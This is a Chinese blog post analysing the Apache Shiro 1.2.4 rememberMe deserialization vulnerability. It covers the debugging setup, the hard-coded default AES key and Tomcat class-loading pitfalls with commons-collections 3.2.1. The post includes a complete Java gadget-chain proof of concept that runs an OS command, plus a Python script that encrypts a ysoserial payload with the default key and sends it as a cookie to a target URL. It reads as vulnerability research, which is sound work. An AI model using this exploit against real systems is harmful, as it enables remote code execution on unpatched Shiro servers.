zoukankan      html  css  js  c++  java
  • shiro-1.2.4反序列化分析踩坑

    原文:http://w4nder.top/?p=410

    环境搭建

    github上下载源码,配上tomcat运行shiro-web

    shiro-root pom.xml

    <dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <!--  这里需要将jstl替换为1.2 -->
    <version>1.2</version>
    <scope>runtime</scope>
    </dependency>
    

    shiro-web pom.xml

    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-catalina</artifactId>
        <version>9.0.38</version>
        <scope>provided</scope>
    </dependency>
    

    反序列化

    shiro在cookie的rememberMe中存放密钥加密的序列化数据,而1.2.4中的key是默认不变的,所以导致能任意修改cookie反序列化

    encrypt

    登陆时勾选rememberMe,调用栈

    DelegatingSubject.login()
    ->DelegatingSubject.login()
    ->DelegatingSubject.onSuccessfulLogin()
    ->DelegatingSubject.rememberMeSuccessfulLogin()
    ->AbstractRememberMeManager.javaonSuccessfulLogin()
    ->AbstractRememberMeManager.rememberIdentity()
    ->AbstractRememberMeManager.rememberIdentity()
      ->AbstractRememberMeManager.convertPrincipalsToBytes()
      ->AbstractRememberMeManager.encrypt() #加密登陆信息
    ->CookieRememberMeManager.javarememberSerializedIdentity() #设置cookie
    

    CookieRememberMeManager.javarememberSerializedIdentity()#156放入cookie
    图片

    key默认是

    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
    

    decrypt

    用ysoserial的URLDNS测试一下,删掉session,替换rememberMe,顺着decrypt函数往上找,打个断点

    图片

    部分调用栈

    图片

    getRememberedSerializedIdentity读取cookie并base解码

    图片

    返回加密的序列化数据,跟入convertBytesToPrincipals

    图片

    然后对序列化数据解密,在deserialize中触发readobject()

    图片

    dnslog

    图片

    commons-collections:3.2.1 无法利用的原因

    然后可以根据环境选择利用链,不过这里无法使用commons-collections:3.2.1

    先简单看一下反序列化流程:

    由readobject到readobject0,在switch中调用readOrdinaryObject

    readOrdinaryObject(boolean unshared)方法读取类描述信息

    图片

    其中readClassDesc返回一个ObjectStreamClass对象desc,它包含类的名字和序列版本号一些基本信息,如图

    图片

    对desc进行实例化生成obj实例

    图片

    然后在下面readSerialData就是具体读取序列化数据的内容,然后判断有没有重写readObject函数等等

    图片

    图片

    现在进入readClassDesc具体看一下,switch分支进入readNonProxyDesc,主要看resolveClass这个函数,当前调用栈

    图片

    ClassResolvingObjectInputStream.resolveClass()

    图片

    这里需要注意这个resovleClass是重写父类ObjectInputStream的

    图片

    原本的resolveClass是这样的

    图片

    前面说过readClassDesc执行后会对其返回的结果进行实例化,那么这里resolveClass就是通过反射获取类具体实现的函数,不过ClassResolvingObjectInputStream使用的是ClassUtils.forName而不是Class.forName

    先跟入ClassUtils.forName,这里首先使用了THREAD_CL_ACCESSOR.loadClass类加载器,这里手动F9就会发现fqcn变成了

    [Lorg.apache.commons.collections.Transformer;
    

    图片

    [L是一个JVM的标记,说明实际上这是一个数组,即Transformer[]

    跟入loadClass,在这里,两种方式加载类,会发现cl.loadClass抛出ClassNotFound异常,而使用正常的Class.forName()却能正常加载,为什么

    图片

    踩了很多坑,下面简单说一下

    先继续进入loadClass,调用WebappClassLoaderBase.loadClass(),它首先会先尝试从本地cache中加载类,找不到就会从父加载器URLClassLoader中加载

    http://tomcat.apache.org/tomcat-8.0-doc/api/org/apache/catalina/loader/WebappClassLoaderBase.html#loadClass(java.lang.String)

    图片

    从图中百度翻译可知...当本地cache或存储库中均无时,则通过父类加载器URLClassLoader.loadClass()加载(这里的WebappClassLoaderBase文件就用到最开始环境搭建那一块加载的tomcat-catalina了)

    首先先进入findLoadClass0,从本地读取

    图片

    图片

    this.binaryNameToPath会将name转化成path的形式然后放到resourceEntries.get去加载,但是这里的path是

    /[Lorg/apache/commons/collections/Transformer;.class
    

    怎么可能能找到正常的类呢(后面几个函数也是类似如此)
    图片

    在本地找不到那就要使父加载器URLClassLoader来加载了,838行(到了这一步基本上跟普通的Class.forName一样了,只是加载器变成了URLClassLoader)

    图片

    然后跟到这里,当前name还是数组形式

    图片

    继续往下调试的时候发现这个name的数组特征被消除了

    图片

    一路debug,到URLClassLoader这里,尝试从URLClassLoader加载器中获取

    org/apache/commons/collections/Transformer.class

    图片

    但是返回结果却是null,因为path虽然正常,但是可以看一下在URLClassLoader加载器中包含的path,发现当前的类加载器URLClassLoader中没有commons-collections-3.2.1.jar

    图片

    所以会抛出ClassNotFound的异常

    图片

    这是因为:

    Tomcat和JDK的Classpath是不公用且不同的,Tomcat启动时,不会用JDK的Classpath

    这里如果给他添加一个包路径

    Class.forName("[Lorg.apache.commons.collections.Transformer;", true, new URLClassLoader(new URL[]{new URL("file:/C:/Users/xc/.m2/repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar")}));
    

    可以发现成功加载
    图片

    所以并不是因为ClassLoader.loadClass不能加载数组,如这个java原生的数组就可以

    图片

    而是因为:

    1. 数组形式会使得shiro想尝试从本地加载时,path也被赋上数组标识,导致无法从本地jar包中正常获取。
    2. 而URLClassLoader中是因为Tomcat和JDK的Classpath的不同,导致即使path正确,也无法找到对应class

    如果这里把URLClassLoader替换成ParallelWebappClassLoader就不会报错了

    图片

    http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-CVE-2016-4437/#%E8%B7%B3%E5%9D%91

    3.2.1 payload

    这里使用了这位师傅的利用链

    java.util.HashSet.readObject()
    -> java.util.HashMap.put()
    -> java.util.HashMap.hash()
    	-> TiedMapEntry.hashCode()
    	-> TiedMapEntry.getValue()
    		-> LazyMap.get()
    		-> InvokerTransformer.transform()
    			-> java.lang.reflect.Method.invoke()
          ... templates gadgets ...
          -> java.lang.Runtime.exec()
    

    因为不能使用transformer数组,所以需要使用javassist技术还原字节码,也就要想办法触发TemplatesImpl.newTransformer()
    这里还是选用InvokerTransformer,参数为

    input=TemplatesImpliMethodName=newTransformer

    现在想办法触发InvokerTransformer.transform(),有两种方法:

    1. lazyMap.get
    2. TransformingComparator.compare

    但是TransformingComparator在低版本的CommonsCollections3.2.1中还没实现Serializable接口所以无法序列化,那就LazyMap.get吧

    缝合一下,poc:

    public class test {
        public static void main(String[] args) throws Exception {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(String.valueOf(AbstractTranslet.class));
            CtClass ctClass = pool.get(test.class.getName());
            ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            String code = "{java.lang.Runtime.getRuntime().exec("calc.exe");}";
            ctClass.makeClassInitializer().insertAfter(code);
            ctClass.setName("evil");
            byte[] bytes = ctClass.toBytecode();
            byte[][] bytecode = new byte[][]{bytes};
            TemplatesImpl templates = TemplatesImpl.class.newInstance();
            setField(templates,"_bytecodes",bytecode);
            setField(templates,"_name","test");
            setField(templates,"_class",null);
            setField(templates,"_tfactory", TransformerFactoryImpl.class.newInstance());
            InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
            
            Map innerMap = new HashMap();
            LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap,transformer);
            TiedMapEntry tme = new TiedMapEntry(outerMap,templates);
            Map expMap = new HashMap();
            expMap.put(tme,"valuevalue");
            outerMap.remove(templates);
            setField(transformer, "iMethodName", "newTransformer");
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(expMap);
            oos.close();
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object)ois.readObject();
        }
        public static void setField(Object obj, String field,Object value) throws Exception {
            Field f = obj.getClass().getDeclaredField(field);
            f.setAccessible(true);
            f.set(obj,value);
        }
    }
    

    也可以用https://github.com/wh1t3p1g/ysoserial

    #coding:utf-8
    import base64
    import sys
    import uuid
    import subprocess
    import requests
    from Crypto.Cipher import AES
    def dnslog(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections10', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = "kPH+bIxk5D2deZiIxcaaaA=="
        mode = AES.MODE_CBC
        iv = uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        file_body = pad(popen.stdout.read())
        base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_rememberMe_value
    
    if __name__ == '__main__':
        payload = dnslog('calc')
        print("rememberMe={}".format(payload.decode()))
        cookie = {
            "rememberMe": payload.decode()
        }
        requests.get(url="http://localhost:8091/samples_web_war/", cookies=cookie)
    

    图片

    参考:

    https://blog.0kami.cn/2019/11/10/java/study-java-deserialized-shiro-1-2-4/

    http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe

    https://paper.seebug.org/shiro-rememberme-1-2-4/

    https://blog.zsxsoft.com/post/35

  • 相关阅读:
    万豪酒店数据库遭入侵 5亿顾客信息或泄露
    网络信息安全中最热门的果然是它
    有奖问卷调查丨你有意见?可以提啊!
    业务逻辑漏洞探索之绕过验证
    一个月薪两万的Web安全工程师要掌握哪些技能?
    phpcms2008远程代码执行漏洞
    BASE64编码原理分析脚本实现及逆向案例
    源码级调试的XNU内核
    使用RSA加密在Python中逆向shell
    感恩节活动中奖名单 i春秋喊你领礼物啦!
  • 原文地址:https://www.cnblogs.com/W4nder/p/14508817.html
Copyright © 2011-2022 走看看